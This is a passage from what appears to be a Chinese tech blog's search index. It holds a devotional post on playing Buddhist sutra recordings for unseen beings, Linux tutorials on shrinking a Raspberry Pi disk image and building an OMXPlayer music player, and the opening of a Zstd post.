頻道線上觀看。\n影片與 MP3 下載 淨空法師專集網影音報恩講堂上面的影片與 mp3 都可以直接下載，但是由於這些資料的數量很龐大，如果想要大量下載的話，可以先從影音報恩講堂查詢想要下載影音檔的編號，例如 1983 年「阿彌陀經要解」的編號就是 01-001，然後使用 FileZilla 軟體等 FTP 軟體，從 ftp1.amtb.org.tw 這個淨空法師專集網的 FTP 站上，根據編號尋找要下載的資料，直接下載。\n除了淨空法師專集網之外，佛學多媒體資料庫也有非常多佛樂、法事、誦經與講經的影片與 mp3 可以免費下載。\n除了這些佛學網站之外，我們也可以嘗試用 Google 搜尋，例如搜尋「地藏經 mp3」，也可以找出能下載佛經的網站。\n最後如果還是找不到自己想要的資料，可以從 YouTube 上面搜尋，如果找到有 YouTube 的影片，也可以使用 YouTube 下載工具，下載 mp4 影片或是 mp3 音樂檔。\n淨空法師講述播經效益 淨空法師一直以來都鼓勵大家播放講經、誦經的影片或聲音檔，以下是我在網路上蒐集到的相關資料。\n念佛機的能量，至少能讓周圍四十里幽冥界眾生得利益 我們今天學佛了，學佛要存菩提心，要行菩薩道，我們怎樣救護這些眾生？沒有救護的心，沒有救護的行為，你不是真正學佛者。真正學佛者，一定有救護的心、救護的行為，這行為是什麼？一心專念阿彌陀佛，給這個世界眾生迴向。這就是見怖畏者能為救護，把念佛功德迴向給一切眾生。\n對人，有意無意要勸導大家念佛，怎麼勸？我們自己念佛，他就會跟著念佛。所以自修就是度人，尤其大乘經上所說自他不二，這個意思很深，這個話是真話，實實在在事實真相。\n如果常存這個心，我們看不見的眾生，比看得見的不知道要多多少倍，無法計算的。我們晚上睡覺，家裡面最好開一個念佛機念佛號，聲音小一點不干擾睡眠，聽得見。不要小看這個機器，這不是人，機器，我們發心加持它，發真心加持它，這個機器它的能量，至少以這個為中心，周圍四十里幽冥界眾生都得利益，你對他們都有大幫助。\n播經亦如是，幽冥界眾生歡喜《地藏經》、《十善業道經》，乃至於《太上感應篇》，這些都是他們非常愛好的，《無量壽經》也非常好。無論是經典的讀誦、或者是講經都可以播放。\n常常存這個心，自利利他，幫助這些眾生，超度這些眾生，效果不可思議。這是說見到怖畏者能為救護，怖畏特別是對鬼道、地獄道，對畜生道都非常有效果。\n每天都播經供養鬼神眾生，若有時沒空忘了播，他們會生氣嗎？ 問題 我每天放經供養眾生已有近一年，我也知道每天有許多眾生來聽經，這是一件大好事。但我能否在五年十年至有生之年，每天不斷的供養眾生，我沒有把握；若因萬不得已家中無人放經，該如何辦？眾生會不會生氣不來了？\n淨空法師答覆 佛菩薩跟古聖先賢都同樣的教導我們，誠則靈！\n每天播放講經的錄相帶或者是光碟，供養我們肉眼看不見的眾生，鬼神一類確實是好事情，這個也是真實有；至於鬼神來不來聽，那要看你有沒有誠意；如果沒有誠意，天天放也沒有鬼神來。如果有誠意，跟請客一樣，我們誠懇的禮請他，他很歡喜來。如果我們態度很傲慢很隨便，有這個形式，沒有誠意，他不會來的。這是「人同此心　心同此理」，鬼神也一樣。至於或者你旅行，或者是出門，家裡面沒有人幫助你代替你來播放，這個時候鬼神也會原諒你。\n我們在任何地方自己誦經迴向可以，譬如說我們在旅行的時候，甚至在飛機上，在旅途當中、旅店裡面，我們都可以念佛、都可以誦經，以這個迴向給他們，功德是一樣的。\n總而言之，我們幫助他們學佛，幫助他們聞經求生淨土，這個心願念念不斷，這就很好。我相信，這些鬼神都會很感謝你。\n淨空老法師：聽經跟念佛機，真正是兩法寶，大量流通送給，善業當中第一，無量無邊功德 現在聽經方便，這就說現在人這方面的福報比古人大，古時候聽不到講經。現在講經的人雖然不多，你能聽到，有電視、有網路。我看現在他們做的隨身聽，這個東西太好了，我們年輕學教的時候不敢想像，怎麼有這麼好的東西！一個小機器像一包香煙盒那麼大，裝在口袋裡頭，我們一年講的經全在裡頭，一千二百個小時都在裡頭，這還得了，一部完整的《大經解演義》。兩個星期之前，有個同學送給我一個手電筒，晚上用的手電筒，上面有一塊，我就問他是什麼東西？他說太陽能，太陽能充電。這個好，沒有電源的時候，太陽能可以充電，還用手搖也可以充電，這個好。在沒有電源的這個地區，中國大陸很多，還有很多地方沒有電，沒有自來水，那這個東西可以管用，手搖充電，太陽能充電，他就可以聽經。這個科學技術要用在傳播佛教上，那是無量無邊功德，價錢也不高，比讀書更方便，所以這個東西要大量流通。我們講到這裡作業，做這個業是善業當中的第一位，這個東西送給親戚朋友是最好的禮物。念佛機現在流通量很大，那是帶你念佛的，這是給你聽經的，有這兩個寶，這叫真正是法寶，這兩個寶我們這一生就得度了。我們要像佛一樣憐憫一切苦難眾生，我們要盡心盡力幫助他，幫助他覺悟、幫助他離苦、幫助他得樂。\n送念佛機、播經機是最好的禮物 我們活在這個世間，念佛、聽經是為自己。有緣的眾生遇到了，我們一定幫助，幫助他什麼？勸他念佛，勸他聽經。現代這個時代，最好的禮物就是送念佛機給他，送播經機給他。我們《無量壽經》，這一部經一個小機器，他可以聽經，他可以念佛，這是一切禮物當中最珍貴的。告訴他，有緣人，我真幹，我現在在幹，希望你也幹。家親眷屬相親相愛，一定要告訴他，我們都到極樂世界去才能永遠在一起，在這個世間不行，人死了，各人到各地方去投胎，再也遇不到，縱然遇到也不認識。到極樂世界好，到極樂世界永遠在一起，不但跟現在親人永遠在一起，跟過去生生世世的親人都可以在一起。這是事實，這不是妄想，這是真的。到極樂世界就明心見性，就是法身菩薩，法身菩薩的天眼能觀遍法界虛空界，沒有空間維次的障礙。法身菩薩的宿命通，無始劫以來到現在他統統知道，生生世世沒有不明瞭的。智慧、神通、道力統統現前，才能夠無障礙、自由自在的上求佛道下化眾生。自己的身體在極樂世界沒離開，可以同時分身無量無邊到一切諸佛剎土裡面去拜佛供養修福、聽經聞法修慧，福慧雙修，沒有中斷。這麼好的地方，現在這個機會遇到，你要不把這個機會抓到，你會後悔，後悔，遲了，來不及了。你要真有聰明、真有智慧，馬上把它抓到，決定不放鬆。我常講的，分秒必爭，一分一秒的時間不能讓它空過，分分秒秒都是阿彌陀佛，這就對了。\n小小念佛機是有光的 磁場最殊勝的，真的，阿彌陀佛。我們常常念佛，佛光加持我們，是真的不是假的。這個氣功功夫好的人他能看出來，你的光特別強，得到佛的加持，你心裡常常有佛。對於鬼神、異類，那就更殊勝了。就是念佛機，這是個機器，裡面是念阿彌陀佛的，這麼一個小機器，你放在房間裡，你晚上把它打開，它有光，我們肉眼看不見。這個光多大？一般講，這個中心區四十里範圍，這裡面的幽冥界眾生統統得利益。念佛的、誦經的、講經的，這個場面都很大，跟你的心量有關係，你的心量愈大，它的光就愈大，心量小，光就比較小。所以我們的心量能夠幫助念佛機擴充它的影響，擴充它的範圍。佛光遍法界虛空界，那是自性的光明，不可思議，遍法界虛空界，我們自己因為有業障，看不到它，阿羅漢能看到，菩薩能看到。修行位次愈高，看得愈清楚，看得愈遠、愈大。\n淨空法師：鬼神要求聽《地藏經》-陳光別居士 問題 在當地的山神、土地神，還有許多眾生，都要求往生，他們不知道如何做功德能快點往生西方極樂世界，請問老法師，應如何做？\n淨空法師答覆 鬼神跟人間差別不大，人間學佛需要從經教下手，鬼神也不例外，所以鬼神也要求聽經。這是二０００年，應該是二０００年，新加坡居士林的林長，老林長陳光別老居士，他晚年身體有病，不能工作，在家裡面修養，躺在床上。找居士林的總務，向他要我們講經的光碟，李木源居士是總務，李居士把我們講經的光碟送給他。他每天聽經，聽了兩年，每天聽八個小時，聽兩年，他的晚年真學佛了，他真懂了。八個鐘點聽講經，大概有八個鐘點念佛，因為他不聽經的時候就念佛，再來就是睡眠。一睜開眼睛就聽經念佛，每天這是他的功課，兩年沒有中斷。\n他告訴李木源，他說他想往生，他真有把握！李木源向他要求，他說：你現在不能走，居士林裡頭的人事不穩定，希望你多住幾年，只要你在，居士林就能夠很安穩的維持下去。他就同意、答應了，這又過了兩年，聽四年經，念四年佛，預知時至。他好像是八月走的，八月幾號，他寫在一張紙上，寫了十幾個八月幾號，寫了十幾個，家裡人也不敢問他，他也不說話。他往生就是他寫的那一天，三個月之前寫的，預知時至。那個時候我們在居士林辦培訓班，培訓班的同學四個人一班，到他家裡幫他助念。有一天助念的同學回到居士林，就帶來一批老林長的冤親債主。他說人很多很多，他們是跟法師到居士林來的，居士林的護法神准許他們進來。他們進來不是擾亂的，他們看到老居士往生，心裡很歡喜，也想聽經念佛求生極樂世界。\n那個時候我正好在香港，他們打電話告訴我，這個事情發生了怎麼辦？我說趕緊給他立牌位，老居士的冤親債主，立牌位。我們講堂裡面，平常都是播放光碟，講經的光碟，也有一些人去聽，勸他們到講堂去聽經。他說不行，講堂的光太大，他們受不了，不敢進去。那怎麼辦？最後他要求在飯廳。正好居士林有兩個大飯廳，大飯廳裝起電視機，我們接上線路，講經就在兩個餐廳，日夜不中斷。他要求聽《地藏經》，我們就將《地藏經》白天晚上不中斷的播放了一個月，他們很感激，他真的往生了。這是冤親債主！這些鬼神，我們確實可以幫助他。我們有了這次經驗之後，我們每天晚上，我們睡覺的時候，我們自己家裡面的客廳，或者是佛堂，放《地藏經》、放阿彌陀佛的佛號，不要中斷，晚上有鬼神到那邊去共修。我們相安無事，我們幫助他，他也不擾亂我們，每個人都能做到。如果屬於你自己家裡的冤親債主，他找上你來的時候，你就給他做超度，給他做三皈依，盡心盡力的幫助他，他也會感激。鬼神裡面，善心的還是很多，惡鬼很少。\n播經設備 現代人可以用來播經的設備非常多，以下是常見的一些播經設備。\n智慧型手機、平板電腦 現在的智慧型手機都有 YouTube 的 App 可以使用，如果平常想要聽經或播經，直接開啟淨空法師專集網的 YouTube，即可馬上觀看。\n如果沒有網路連線的話，也可以事先從淨空法師專集網的 FTP 站（ftp://ftp1.amtb.tw/），直接把想聽的影片或 mp3 下載下來，然後放在手機中播放。\n電腦 電腦加上喇叭後，可以看 YouTube 影片、播放 mp4 影片或 mp3 音樂，我想這些就不必解釋了。\n耳機 播經可以選擇播放影片或是用 mp3 的方式播放聲音，撥放的時候人也可以一起聽，如果怕吵到別人，或是要專門播給無形眾生聽的話，可以用耳機來播放聲音，用耳機播經雖然聲音小，但無形眾生同樣也可以聽得見。\n電視機 現在的電視機普遍都有以 USB 播放影音檔的功能，只要把 mp4 影片或 mp3 音樂放進 USB 隨身碟，插在電視機上，就可以用它內建的播放功能來播放。\n有些智慧型電視甚至還可以直接連上網看 YouTube，非常好用。\n念佛機 市面上有各式各樣的念佛機可以購買，有念佛號的、也有播經的，若不想自己花時間準備，亦可直接買現成的設備使用。\n小缺點是一般的念佛機有固定的曲目，沒辦法自己更換想聽的內容，如果有插卡功能的念佛機又比較貴，但若您想聽的經典剛好他有的話，那念佛機就是很棒的選擇。\n音響 現在的音響普遍都會有以 USB 隨身碟以及 MicroSD 記憶卡播放 mp3 音樂的功能，我們只要把想聽的講經、誦經 mp3 放在 USB 隨身碟或 MicroSD 記憶卡，插入音響之後，馬上就變成一台念佛機了，如果家中剛好有音響的話，這個方式是最經濟又好用的方法。\n讀卡喇叭 現在市面上有一種可以插 MicroSD 卡的「讀卡喇叭」，價位比一般音響低一些，通常是用鋰電池供電的，體積小、好攜帶，有喜歡這種設備的人可以參考一下。\n我之前找了好久這類的產品，後來找到 KINYO MPS-376 這款讀卡喇叭，支援 USB 供電與鋰電池雙重供電模式，是我個人最滿意的一款（但是我還沒用過）。\nMP3 隨聲聽 普通的 mp3 隨聲聽沒在用的話，接上耳機或是喇叭，就是一台念佛機了，這種設備很省電，節能又環保。\n太陽能戶外播經機 現在市面上有一種太陽能戶外播經機（念佛機），可以插在野外，播放佛經、佛號供養眾生，需要的人可以考慮購買。\n自製念佛機 如果是理工科的人，若剛好有類似樹莓派的設備的話，也可以自己打造一個 mp3 音樂播放器當成念佛機，優點是可以自己做複雜的控制，但是缺點是成本太高了。\n若要用最低的成本，發揮最高的效益，可以買一張 mp3 解碼板，插上 MicroSD 卡、耳機與電源，即可撥放自己挑選的 mp3 檔案，這種自己手工打造的念佛機，外觀沒有很好看，但應該是所有設備中成本最低、功能也很好的，而且非常非常省電，我自己在家是用這種。\n網友播經感應實例 「播經」會讓鬼屋變為吉宅 這位網友買了一棟不乾淨的屋子，夜裡時常有靈異現象，前屋主也是因為這個因素十年不敢住，後來在屋內每天二十四小時連續播放淨空法師講述的《地藏經》之後，獲得明顯改善。 在家中為眾生播經以後的殊勝感應 這位網友在家中播經，不久後明顯感覺到諸事順利順利且圓滿，家中一片祥和。許多無形眾生來家裡聽經，他們都很合作、沒有惡意，聽經後都很歡喜。畜牲道的眾生也會來聽，有些聽經後有機會投胎做人，都很感恩。 補充資料 播經是大好事 ","permalink":"https://blog.gtwang.org/life/buddha-machine-benefits-and-diy-instructions/","summary":"\u003cp\u003e本篇整理淨空法師講述在家播放講經、誦經 mp3 的好處，以及各種播放設備與方法。\u003c/p\u003e\n\u003cp\u003e最近我聽了淨空法師的建議，在家中撥放《地藏經》、《十善業道經》、《太上感應篇》與《無量壽經》的講經 mp3，利益有緣的眾生，才剛開始準備播放講經的設備，就有奇特的感應，感覺效果真是不可思議，所以特別把相關的資料整理出來，跟大家分享，如果想要播經利益眾生的人可以參考看看。\u003c/p\u003e","title":"念佛機、播經的好處與方法，淨空法師講述與網友實例整理"},{"content":"本篇介紹如何在 Linux 中縮減磁碟分割區大小，剪裁磁碟影像檔，讓影像檔可以寫入較小的 MicroSD 記憶卡中。\n樹莓派可以使用 以 dd 指令備份與回復影像檔，如果備份與回復所使用的 MicroSD 卡都是同一張卡的話，使用簡單的 dd 指令就可以處理所有的工作了，但是如果我們想要從一張 MicroSD 卡備份影像檔，然後將影像檔寫入另外一張卡，也就是複製一張一模一樣的 MicroSD 卡，在這樣的狀況下回復影像檔時就有可能會出現 MicroSD 卡空間不足的問題，造成 dd 在寫入時出現錯誤。\n這個問題發生的原因是由於不同廠牌、型號的 MicroSD 卡，即使規格相同（例如都是 16 GB 的 MicroSD），實際上的除從空間大小都會有一點點的差異，有個卡稍微大一點、有的稍微小一點，如果剛好從比較小的卡備份影像檔，回復至比較大的卡，就不會有問題，但若是反過來的話，就會因為差一點點的空間大小，導致影像檔尾端的資料寫不進小的 MicroSD 卡，造成錯誤。\n解決的方法是把備份出來的影像檔修改一下，把分割區稍微調小一些，然後裁剪影像檔，讓 dd 指令可以把影像檔順利寫入，以下是在 Linux 系統上縮小影像檔的操作步驟。\n建立 Loopback 設備 若想要修改磁碟分割表，就必須先讓 Linux 核心載入磁碟，才能使用各種磁碟分割工具來修改，但是現在我們的磁碟不是一般的實體磁碟，而是一個影像檔，若要讓 Linux 核心可以載入這個磁碟，就必須使用 loopback 設備來處理。\n首先啟用 Linux 核心 的 loopback 模組：\nsudo modprobe loop 接著找尋尚未被使用的 loopback 設備：\nsudo losetup -f /dev/loop0 這個輸出表示 /dev/loop0 這個設備尚未被使用，所以我們可以使用這個名稱來建立一個影像檔的 loopback 設備：\nsudo losetup /dev/loop0 my_image.img 其中 my_image.img 就是從 MicroSD 卡備份下來的影像檔，現在 /dev/loop0 就代表了 my_image.img 影像檔中的磁碟，接著要讓 Linux 核心也載入這個磁碟：\nsudo partprobe /dev/loop0 這時候在系統上應該就可以看得到這個磁碟了（但是應該是處於未掛載的狀態）。\n調整分割區 在使用 loopback 載入影像檔中的的磁碟之後，就可以使用普通的磁碟工具來修改它了。\n一開始要調整分割區的大小，讓磁碟末端騰出一些空間，這個動作可以使用 GParted 的操作介面來處理：\nsudo gparted /dev/loop0 原本的磁碟分割狀態會類似這樣，整個磁碟幾乎都用滿了，但某些分割區裡面還有些空間：\n使用 GParted 的介面調整一下分割區的大小或位置，讓磁碟末端騰出一些空間，通常這個空間也不需要很大，就看影像檔的大小與 MicroSD 卡的容量相差多少，就騰出多少即可，如果磁碟分割區內的資料很少，多騰出一點空間也沒有關係：\n使用 GParted 調整磁碟分割區時，結果會直接寫入我們的影像檔，修改好影像檔之後，即可卸載 loopback 設備：\nsudo losetup -d /dev/loop0 裁剪影像檔 現在我們的影像檔的狀態應該就會像 GParted 介面中顯示的那樣，末端是沒有使用的空間，最後只要將那段沒用的空間裁剪掉即可。\n首先以 fdisk 檢查影像檔內部使用的狀況：\nfdisk -l my_image.img Disk my_image.img: 14.9 GiB, 15987638272 bytes, 31225856 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x03ca9076 Device Boot Start End Sectors Size Id Type my_image.img1 8192 96453 88262 43.1M c W95 FAT32 (LBA) my_image.img2 98304 27054079 26955776 12.9G 83 Linux 從這個輸出中可以看出每個分割區在磁碟中的開始位置（Start）與結束位置（End），最後一個分割區結束的位置是 26955776，也就是說在這個位置之後的空間，就是沒有使用到的部份，也就是可以裁剪掉的部份。\n這裡的輸出中也有說明一個 sector 的大小是 512 位元組（bytes），而 sector 的計算方式是從 0 開始起算的，所以整個磁碟從開頭算起，一直到有資料的最末端，總共的大小應該是 (26955776+1)*512 位元組（bytes）。\n計算出資料在磁碟中最末端的位置之後，就可以使用 truncate 裁剪影像檔，只留下前面有資料的部份：\n# 裁剪影像檔 truncate --size=$[(27054079+1)*512] my_image.img 裁剪影像檔必須很謹慎，萬一弄錯資料就毀了，若是不確定的話，記得先備份影像檔，以免出錯造成資料損毀救不回來。\n這樣裁剪完之後的影像檔，通常都或比任何同規格的 MicroSD 卡容量要小很多，所以使用 dd指令寫入的話一定沒問題，不過寫入完成後，末端也會出現一些未使用的空間（因為當初騰出了不少空間），這部份就再用 GParted 調整一下即可，或是在樹莓派開機後，用 raspi-config 的 expand filesystem 功能也可以自動擴張磁碟分割區的大小，善用未使用的空間。\n參考資料 Softwarebakery ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/shrinking-image-file-tutorial-for-small-sd-card/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中縮減磁碟分割區大小，剪裁磁碟影像檔，讓影像檔可以寫入較小的 MicroSD 記憶卡中。\u003c/p\u003e\n\u003cp\u003e樹莓派可以使用 \u003ca href=\"/iot/backup-and-restore-raspberry-pi-sd-card/\"\u003e以 dd 指令備份與回復影像檔\u003c/a\u003e，如果備份與回復所使用的 MicroSD 卡都是同一張卡的話，使用簡單的 \u003ccode\u003edd\u003c/code\u003e 指令就可以處理所有的工作了，但是如果我們想要從一張 MicroSD 卡備份影像檔，然後將影像檔寫入另外一張卡，也就是複製一張一模一樣的 MicroSD 卡，在這樣的狀況下回復影像檔時就有可能會出現 MicroSD 卡空間不足的問題，造成 \u003ccode\u003edd\u003c/code\u003e 在寫入時出現錯誤。\u003c/p\u003e","title":"Linux 縮小磁碟影像檔教學，解決回復 MicroSD 卡空間不足問題"},{"content":"本篇示範如何使用樹莓派自己打造一個自動音樂播放器，長時間自動重複播放音樂。\n最近想要一個可以長時間自動重複播放音樂的設備，普通音響功能不錯，但是體積太大，而一些可插 Micro SD 卡的隨身喇叭雖然很不錯，但是幾乎都是以鋰電池供電的，電池需要充電的話就不適合長時間播放，也怕電池過充問題（買過一個沒有過充保護的，不太敢用）。\n我在網路上有找到 KINYO MPS-376 這款讀卡喇叭，價格功能都符合預期，但是擔心品質不知道好不好，所以現在先自己用樹莓派自己打造一個來用，未來若確定 KINYO 的喇叭品質好的話，再買來用用看。\n樹莓派可以透過安裝 RuneAudio 來建立音樂播放器，不過我用第一代樹莓派測試的結果，發現從耳機孔輸出的音源品質會有很嚴重的雜音，後來改用最新的 Raspbian 配合 OMXPlayer 後，就比較沒有出現音源品質的問題，以下是整個安裝與設定過程。\n準備 Raspbian Lite 系統 由於我們要打造的系統是專門用來長時間播放音樂用的，不做其他用途、也不需要使用者操作介面，所以選擇 Raspbian Lite 這種沒有 X Window 的環境會比較合適，可以節省非常多的 Micro SD 卡空間，多出來的空間可以用來放置 mp3 音樂檔。\n從 Raspberry Pi 的官方網站下載 Raspbian Lite 的影像檔，並解壓縮：\n# 解壓縮 Raspbian Lite 影像檔 unzip 2018-04-18-raspbian-stretch-lite.zip 解壓縮之後，會得到一個 img 影像檔，參考寫入影像檔的教學，將 Raspbian Lite 的影像檔寫入 Micro SD 卡中：\n# 將影像檔寫入 Micro SD 卡 sudo dd bs=1M if=2018-04-18-raspbian-stretch-lite.img of=/dev/sdc 將寫入 Raspbian Lite 影像檔的 Micro SD 卡插入樹莓派，插上螢幕、鍵盤並開機後，以預設帳號 pi 進入系統，預設密碼是 raspberry。\n設定網路 樹莓派預設會以 DHCP 的方式自動取得 IP 連上網路，如果自己手上沒有可用的 DHCP 伺服器，就必須另外設定，網路的設定有很多種方式，請依據自己的狀況調整，原則上就是讓樹莓派可以正常上網就可以了。\n這裡我是範以 Debian 傳統的 interfaces 設定方式，設定樹莓派使用固定 IP 位址，並透過普通 Ubuntu Linux 筆電架設臨時的 NAT 來上網，這樣就只需要一條 RJ45 的網路線即可搞定網路問題，不需要準備網路交換器或是其他設備。\n樹莓派設定固定 IP 位址 修改樹莓派的 /etc/network/interfaces 網路介面設定檔，加入以下固定 IP 的設定：\n# 設定 /etc/network/interfaces auto eth0 iface eth0 inet static address 192.168.1.2 netmask 255.255.255.0 gateway 192.168.1.254 接著停用樹莓派的 dhcpcd 服務，改用傳統的 networking：\n# 停用 dhcpcd 服務 sudo systemctl disable dhcpcd sudo systemctl stop dhcpcd # 啟用 networking 服務 sudo systemctl enable networking sudo systemctl start networking 設定好之後，看看網路設定是否正確：\nifconfig 測試重新開機：\nsudo reboot 重新開機後，若 eth0 的 IP 位址依然正確，這樣固定 IP 位址的設定就完成了。\n樹莓派開啟 SSH 服務 為了方便未來可以在筆電端直接操控樹莓派，可以將樹莓派的 SSH 服務開啟：\n# 啟用 ssh 服務 sudo systemctl enable ssh sudo systemctl start ssh 這樣之後就可以在筆電上透過 SSH 連線操控樹莓派，樹莓派上面就只需要接一條電源與網路線即可，鍵盤與螢幕都可以拔掉了。\n設定 NAT 網路 拿一條網路線，從樹莓派直接接到 Ubuntu Linux 的筆電上（或是其他不同的 Linux 系統亦可），然後在 shell 底下，使用以下指令設定臨時的 NAT 網路。\n這裡我的筆電有一個乙太網路卡（enp2s0），用於連接樹莓派，另一張內建的無線網路卡（wlp3s0），用於對外網路的連線：\n# 對外網路卡 EXTIF=\u0026#34;enp2s0\u0026#34; # 對內網路卡 INTIF=\u0026#34;wlp3s0\u0026#34; 設定乙太網路卡的 IP 位址（也可以用 Ubuntu 桌面的 GUI 工具來設定）：\n# 設定網路 sudo ifconfig $INTIF 192.168.1.254 netmask 255.255.255.0 開啟系統的 IP Forward 功能（需用 root 權限）：\n# 開啟 ip_forward echo 1 \u0026gt; /proc/sys/net/ipv4/ip_forward 設定 NAT 網路功能（需用 root 權限）：\n# 設定 NAT iptables -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE iptables -A FORWARD -i $EXTIF -o $INTIF -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT 設定好之後，測試一下是否可以連線至樹莓派：\nssh pi@192.168.1.2 正常的話，應該就可以連線進去，而且樹莓派的對外網路應該也是通的。\nSSH 登入金鑰 為了工作方便，可以參考 SSH 公開金鑰認證教學，產生好金鑰之後，將金鑰複製到樹莓派上面：\n# 複製 SSH 登入用的金鑰 ssh-copy-id pi@192.168.1.2 這樣以後用 SSH 登入樹莓派時，就不需要打密碼了。\nOMXPlayer 音樂播放器 OMXPlayer 是一個支援硬體加速的多媒體播放器，功能簡單、實用，效能也很好，支援耳機孔與 HDMI 兩種聲音輸出。\n首先使用 apt 安裝 OMXPlayer：\n# 安裝 omxplayer sudo apt-get update sudo apt-get -y install omxplayer 接著使用 scp 等指令，將一些 mp3 音樂檔放進樹莓派的 /home/pi/Music 目錄下。\n建立一個自動重複播放 mp3 音樂的指令稿，儲存於 /home/pi/player.sh：\n#!/bin/sh # 音樂放置位置 MP3_PATH=\u0026#34;/home/pi/Music\u0026#34; # 重複播放音樂 while true; do for entry in $MP3_PATH/*.mp3; do omxplayer --vol -602 \u0026#34;$entry\u0026#34; \u0026gt; /dev/null done done 這個指令稿就是用迴圈，不斷重複播放 $MP3_PATH 目錄中的所有 mp3 檔案。\nomxplayer 的 --vol 參數可以用來指定音量的大小，不過它的指定方式比較特別，單位是使用 millibels（mB），若要將音量百分比轉換成 millibels，可以使用下公式：\nmillibels = log(音量比) * 2000\n這裡的 log 是以 10 為底數的對數。例如若想要設定音量為 50%，則 millibels = log(0.5) * 2000 = -602.06，其餘以此類推。\n開機自動播放音樂 修改 /etc/rc.local 設定檔，在最後一行 exit 0 之前，加入自動播放 mp3 音樂的指令（也就是執行上面建立好的指令稿）：\n# 開機自動播放音樂 sudo -u pi sh /home/pi/player.sh \u0026amp; 這樣就大公告成了，重新開機之後，樹莓派應該就會自動不停的播放音樂，未來我們只要將樹莓派插上電源、接上喇叭，就可以聽音樂了，不需要任何操作。\nOMXPlayer 在執行時，比較沒會耗費太多的 CPU 資源，以下我自己實際測試的結果：\n若是以 VLC 來播放 mp3 音樂的話，大概都要吃掉 30% 左右的 CPU，而用 OMXPlayer 的話大致上都在 10% 以下，差異很大。\n省電與節能 由於這個音樂播放器是長時間運轉的，所以要盡可能關閉沒用的功能，讓電力的耗損降到最低，同時避免過熱問題。\n停用 IPv6 模組 我們的樹莓派只會用來播放音樂，不會做其他的用途，需求非常單純，所以可以將一些沒用到的 Linux 核心模組停用，讓系統更輕巧。\n首先查看一下目前所有被載入的核心模組：\nlsmod Module Size Used by snd_bcm2835 22991 0 snd_pcm 89590 1 snd_bcm2835 snd_timer 22396 1 snd_pcm snd 60154 3 snd_timer,snd_bcm2835,snd_pcm uio_pdrv_genirq 3718 0 uio 9901 1 uio_pdrv_genirq fixed 3033 0 ip_tables 12427 0 x_tables 22098 1 ip_tables ipv6 401778 16 其中 ipv6 應該是大小最大，又最沒用處的模組了，若要把它停用，可以編輯 /etc/modprobe.d/ipv6.conf 設定檔，加入一行設定：\nblacklist ipv6 這樣即可停用 ipv6 模組，其餘模組的停用方式也是類似。\n停用 HDMI 顯示 在所有的設定都完成之後，可以將 HDMI 的輸出關閉，讓它更省電。\n編輯 /etc/rc.local 設定檔，加入以下指令：\n# 關閉 HDMI /usr/bin/tvservice -o 動態時脈 參考樹莓派的超頻文件，編輯 /boot/config.txt，加入以下設定，啟用動態時脈（dynamic clocking），讓系統負載較輕的時候，自動降低 CPU 與相關硬體的運作頻率（較省電）：\n# For Power Saving arm_freq_min=250 core_freq_min=100 sdram_freq_min=150 over_voltage_min= 設定完後，要重新開機才生效。\nsudo reboot 若要查看 CPU 的時脈，可以執行：\ncat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq 另外亦可使用 vcgencmd 指令，查看其他的硬體資訊，例如 CPU 溫度：\nvcgencmd measure_temp 停用 USB Hub 若沒有用到任何 USB 設備以及乙太網路的話，可將 USB Hub 的電源關閉，這樣可以節省非常多的能源消耗。\n以下是關閉 USB Hub 電源的指令稿：\n#!/bin/bash # 停用 USB Hub systemctl stop ssh systemctl stop networking echo 0x0 \u0026gt; /sys/devices/platform/soc/20980000.usb/buspower 這是開啟 USB Hub 電源的指令稿：\n#!/bin/bash # 啟用 USB Hub echo 0x1 \u0026gt; /sys/devices/platform/soc/20980000.usb/buspower sleep 2 systemctl start networking systemctl start ssh 不同 Raspberry Pi 版本的 buspower 設定檔位置會不同，可以使用以下指令尋找：\n# 尋找 buspower 位置 find /sys/devices/ -name `dmesg -t | grep dwc_otg | grep \u0026#34;DWC OTG Controller\u0026#34; | awk \u0026#39;{print $2}\u0026#39; | cut -d\u0026#34;:\u0026#34; -f1` /sys/devices/platform/soc/20980000.usb 關閉 USB Hub 的電源之後，所有的 USB 連接埠與乙太網路都會無法使用，只能從序列埠登入，所以請確定所有的東西都設定完成後，再考慮這個措施。\n我的作法是在 /etc/rc.local 中加入以下指令，於開機之後等待 5 分鐘，然後再關閉 USB Hub 的電源，這樣如果需要修改東西的話，可以在這 5 分鐘內透過網路連線進去處理：\n# 等待 5 分鐘後，關閉 USB Hub 電源 (sleep 300; systemctl stop ssh; systemctl stop networking; echo 0x0 \u0026gt; /sys/devices/platform/soc/20980000.usb/buspower) \u0026amp; 如果 5 分鐘不夠處理的話，就在登入之後，先用 pstree 指令找出 rc.local 的行程，用 kill 指令砍掉這個行程，再進行其他的工作即可。\n停用 LED 燈號 在 /boot/config.txt 加入以下設定，即可停用板子上的 LED 燈：\n# Disable the ACT LED. dtparam=act_led_trigger=none dtparam=act_led_activelow=off # Disable the PWR LED. dtparam=pwr_led_trigger=none dtparam=pwr_led_activelow=off 參考資料 StackOverflow StackExchange StackExchange scribles ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-omxplayer-mp3-player-configuration-tutorial/","summary":"\u003cp\u003e本篇示範如何使用樹莓派自己打造一個自動音樂播放器，長時間自動重複播放音樂。\u003c/p\u003e\n\u003cp\u003e最近想要一個可以長時間自動重複播放音樂的設備，普通音響功能不錯，但是體積太大，而一些可插 Micro SD 卡的隨身喇叭雖然很不錯，但是幾乎都是以鋰電池供電的，電池需要充電的話就不適合長時間播放，也怕電池過充問題（買過一個沒有過充保護的，不太敢用）。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 以 OMXPlayer 打造音樂播放器教學"},{"content":"本篇介如何在 Linux 系統上安裝與使用 Zstd 這個快速壓縮與解壓縮工具，應用於即時性的資料壓縮工作。\nZstandard（簡稱 Zstd）是由 facebook 所開發的一套資料壓縮演算法與工具，以開放原始碼的授權方式釋出，它的壓縮比與 DEFLATE 演算法差不多，但是壓縮與解壓縮的速度更快，適合用於即時性的資料壓縮工作，而目前 facebook 內部也正運用 Zstandard 處理各類大量資料的壓縮，是一個相當不錯的壓縮工具。\nZstandard 壓縮演算法 下面這張表格是以 lzbench 